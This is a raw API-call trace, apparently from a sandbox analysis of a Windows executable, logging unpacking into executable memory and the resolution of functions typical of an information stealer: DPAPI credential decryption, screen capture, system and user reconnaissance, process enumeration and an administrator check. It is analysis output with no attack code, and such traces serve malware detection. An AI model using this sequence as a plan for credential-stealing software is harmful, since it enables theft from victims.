lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.154] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.154] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.155] GetOEMCP () returned 0x1b5 [0051.155] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.156] GetOEMCP () returned 0x1b5 [0051.156] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.156] GetOEMCP () returned 0x1b5 [0051.156] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.156] GetOEMCP () returned 0x1b5 [0051.156] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.156] GetOEMCP () returned 0x1b5 [0051.156] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.156] GetOEMCP () returned 0x1b5 [0051.156] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.156] GetOEMCP () returned 0x1b5 [0051.156] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.156] GetOEMCP () returned 0x1b5 [0051.156] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.156] GetOEMCP () returned 0x1b5 [0051.156] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.156] GetOEMCP () returned 0x1b5 [0051.156] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0051.156] GetOEMCP () returned 0x1b5 [0051.982] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0051.985] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0051.987] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0051.991] VirtualProtect (in: lpAddress=0x567aa8, dwSize=0x101a3, flNewProtect=0x40, lpflOldProtect=0x18e5f8 | out: lpflOldProtect=0x18e5f8*=0x4) returned 1 [0051.997] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0051.997] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0051.997] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0051.997] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0051.997] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0051.997] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0051.997] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0051.998] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0051.998] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0051.998] SetErrorMode (uMode=0x400) returned 0x0 [0051.998] SetErrorMode (uMode=0x0) returned 0x400 [0051.998] GetVersionExA (in: lpVersionInformation=0x18d524*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x3, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18d524*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0051.998] VirtualAlloc (lpAddress=0x0, dwSize=0x1c000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0052.000] VirtualProtect (in: lpAddress=0x400000, dwSize=0x20000, flNewProtect=0x40, lpflOldProtect=0x18e5ac | out: lpflOldProtect=0x18e5ac*=0x2) returned 1 [0052.027] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.028] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0052.028] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0052.028] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0052.028] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0052.028] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSection") returned 0x77162c42 [0052.028] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0052.028] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0052.028] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0052.028] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0052.028] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0052.028] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0052.028] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0052.028] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0052.029] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0052.029] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0052.029] GetProcAddress (hModule=0x76c20000, lpProcName="GetThreadLocale") returned 0x76c335cf [0052.029] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoA") returned 0x76c30e00 [0052.029] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0052.029] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoA") returned 0x76c4d5e5 [0052.029] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0052.029] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0052.029] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0052.029] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0052.029] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0052.029] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0052.029] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0052.029] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0052.029] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0052.030] GetProcAddress (hModule=0x74f40000, lpProcName="GetKeyboardType") returned 0x74f99ac4 [0052.030] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxA") returned 0x74fafd1e [0052.030] GetProcAddress (hModule=0x74f40000, lpProcName="CharNextA") returned 0x74f57a1b [0052.030] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0052.030] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExA") returned 0x74d548ef [0052.030] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExA") returned 0x74d54907 [0052.030] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0052.030] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x75220000 [0052.034] GetProcAddress (hModule=0x75220000, lpProcName="SysFreeString") returned 0x75223e59 [0052.034] GetProcAddress (hModule=0x75220000, lpProcName="SysReAllocStringLen") returned 0x75227810 [0052.034] GetProcAddress (hModule=0x75220000, lpProcName="SysAllocStringLen") returned 0x752245d2 [0052.034] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0052.034] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleA") returned 0x76c31245 [0052.034] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0052.034] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExA") returned 0x74d54907 [0052.034] GetProcAddress (hModule=0x74d40000, lpProcName="RegEnumKeyA") returned 0x74d6a299 [0052.035] GetProcAddress (hModule=0x74d40000, lpProcName="FreeSid") returned 0x74d5412e [0052.035] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0052.035] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0052.035] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0052.035] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0052.035] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0052.035] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0052.035] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalUnlock") returned 0x76c4cfdf [0052.035] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalLock") returned 0x76c4d0a7 [0052.035] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0052.035] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemInfo") returned 0x76c349ca [0052.035] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0052.035] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleA") returned 0x76c31245 [0052.035] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0052.036] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0052.036] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0052.036] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0052.036] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0052.036] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0052.036] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0052.036] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0052.036] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0052.036] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0052.036] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0052.036] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0052.036] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ad0000 [0052.036] GetProcAddress (hModule=0x75ad0000, lpProcName="SelectObject") returned 0x75ae4f70 [0052.036] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteObject") returned 0x75ae5689 [0052.037] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteDC") returned 0x75ae58b3 [0052.037] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateCompatibleDC") returned 0x75ae54f4 [0052.037] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateCompatibleBitmap") returned 0x75ae5f49 [0052.037] GetProcAddress (hModule=0x75ad0000, lpProcName="BitBlt") returned 0x75ae5ea6 [0052.037] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0052.037] GetProcAddress (hModule=0x74f40000, lpProcName="ReleaseDC") returned 0x74f57446 [0052.037] GetProcAddress (hModule=0x74f40000, lpProcName="GetSystemMetrics") returned 0x74f57d2f [0052.037] GetProcAddress (hModule=0x74f40000, lpProcName="GetDC") returned 0x74f572c4 [0052.037] GetProcAddress (hModule=0x74f40000, lpProcName="CharToOemBuffA") returned 0x74f6b1b0 [0052.037] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0052.037] GetProcAddress (hModule=0x755e0000, lpProcName="OleInitialize") returned 0x755fefd7 [0052.037] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0052.037] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749b0000 [0052.040] GetProcAddress (hModule=0x749b0000, lpProcName="atexit") returned 0x749cc544 [0052.040] atexit (param_1=0x5683c8) returned 0 [0052.041] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0052.041] GetKeyboardType (nTypeFlag=0) returned 4 [0052.041] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\5.exe\" " [0052.041] GetStartupInfoA (in: lpStartupInfo=0x18e540 | out: lpStartupInfo=0x18e540*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\5.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0052.041] GetVersion () returned 0x1db10106 [0052.041] GetVersion () returned 0x1db10106 [0052.041] GetCurrentThreadId () returned 0x6e4 [0052.041] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x759b0000 [0052.044] GetProcAddress (hModule=0x759b0000, lpProcName="CryptUnprotectData") returned 0x759e5a7f [0052.044] LoadLibraryA (lpLibFileName="crtdll.dll") returned 0x6c240000 [0052.225] GetProcAddress (hModule=0x6c240000, lpProcName="wcscmp") returned 0x6c25032a [0052.225] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73c60000 [0052.693] GetProcAddress (hModule=0x73c60000, lpProcName="GdiplusStartup") returned 0x73c85600 [0052.693] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73c60000 [0052.694] GetProcAddress (hModule=0x73c60000, lpProcName="GdiplusShutdown") returned 0x73c856be [0052.694] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73c60000 [0052.694] GetProcAddress (hModule=0x73c60000, lpProcName="GdipCreateBitmapFromHBITMAP") returned 0x73c96671 [0052.694] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73c60000 [0052.694] GetProcAddress (hModule=0x73c60000, lpProcName="GdipGetImageEncodersSize") returned 0x73ca2203 [0052.694] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73c60000 [0052.694] GetProcAddress (hModule=0x73c60000, lpProcName="GdipGetImageEncoders") returned 0x73ca228c [0052.694] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73c60000 [0052.694] GetProcAddress (hModule=0x73c60000, lpProcName="GdipDisposeImage") returned 0x73c94cc8 [0052.694] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73c60000 [0052.694] GetProcAddress (hModule=0x73c60000, lpProcName="GdipSaveImageToStream") returned 0x73c94153 [0052.694] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0052.695] GetProcAddress (hModule=0x755e0000, lpProcName="CreateStreamOnHGlobal") returned 0x7560363b [0052.695] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0052.695] GetProcAddress (hModule=0x755e0000, lpProcName="GetHGlobalFromStream") returned 0x756041d5 [0052.695] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0052.695] GetProcAddress (hModule=0x76c20000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c34173 [0052.695] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0052.695] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalMemoryStatus") returned 0x76c38b6d [0052.695] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0052.695] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSize") returned 0x76c3196e [0052.695] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0052.695] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0052.695] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0052.695] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0052.695] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e [0052.696] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0052.696] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentDirectoryW") returned 0x76c35611 [0052.696] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableW") returned 0x76c389f1 [0052.696] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableW") returned 0x76c31b48 [0052.696] GetProcAddress (hModule=0x76c20000, lpProcName="SetCurrentDirectoryW") returned 0x76c41260 [0052.696] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0052.696] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0052.696] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0052.696] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0052.696] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0052.696] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0052.696] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalMemoryStatusEx") returned 0x76c5d4c4 [0052.696] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0052.697] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0052.697] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0052.697] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0052.697] GetProcAddress (hModule=0x76c20000, lpProcName="SetDllDirectoryW") returned 0x76cb004f [0052.697] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoA") returned 0x76c4d5e5 [0052.697] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocalTime") returned 0x76c35aa6 [0052.697] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0052.697] GetProcAddress (hModule=0x76c20000, lpProcName="RemoveDirectoryW") returned 0x76cb44cf [0052.697] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0052.697] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDriveStringsA") returned 0x76c3e4dc [0052.697] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0052.697] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0052.697] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0052.697] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0052.698] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0052.698] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0052.698] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0052.698] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0052.698] GetProcAddress (hModule=0x74d40000, lpProcName="AllocateAndInitializeSid") returned 0x74d540e6 [0052.698] GetProcAddress (hModule=0x74d40000, lpProcName="LookupAccountSidA") returned 0x74d81daa [0052.698] GetProcAddress (hModule=0x74d40000, lpProcName="CreateProcessAsUserW") returned 0x74d4c592 [0052.698] GetProcAddress (hModule=0x74d40000, lpProcName="CheckTokenMembership") returned 0x74d4df04 [0052.698] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyW") returned 0x74d52459 [0052.698] GetProcAddress (hModule=0x74d40000, lpProcName="RegEnumKeyW") returned 0x74d5445b [0052.698] GetProcAddress (hModule=0x74d40000, lpProcName="RegEnumValueW") returned 0x74d548cc [0052.698] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextA") returned 0x74d491dd [0052.698] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0052.698] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0052.699] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0052.699] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0052.699] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0052.699] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0052.699] GetProcAddress (hModule=0x74f40000, lpProcName="EnumDisplayDevicesW") returned 0x74f7e567 [0052.699] GetProcAddress (hModule=0x74f40000, lpProcName="wvsprintfA") returned 0x74f6aad3 [0052.699] GetProcAddress (hModule=0x74f40000, lpProcName="GetKeyboardLayoutList") returned 0x74f62e69 [0052.699] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x75fd0000 [0052.703] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0052.703] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000 [0052.703] GetProcAddress (hModule=0x77130000, lpProcName="RtlComputeCrc32") returned 0x771effc1 [0052.703] LocalAlloc (uFlags=0x0, uBytes=0xff8) returned 0x589af0 [0052.703] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x1d60000 [0052.703] LocalAlloc (uFlags=0x0, uBytes=0x644) returned 0x58aaf0 [0052.704] VirtualAlloc (lpAddress=0x1d60000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1d60000 [0052.704] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18e2fd, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x222, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18e2f8 | out: pSid=0x18e2f8*=0x5889b0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0052.704] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x5889b0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x18e2f4 | out: IsMember=0x18e2f4) returned 1 [0052.704] 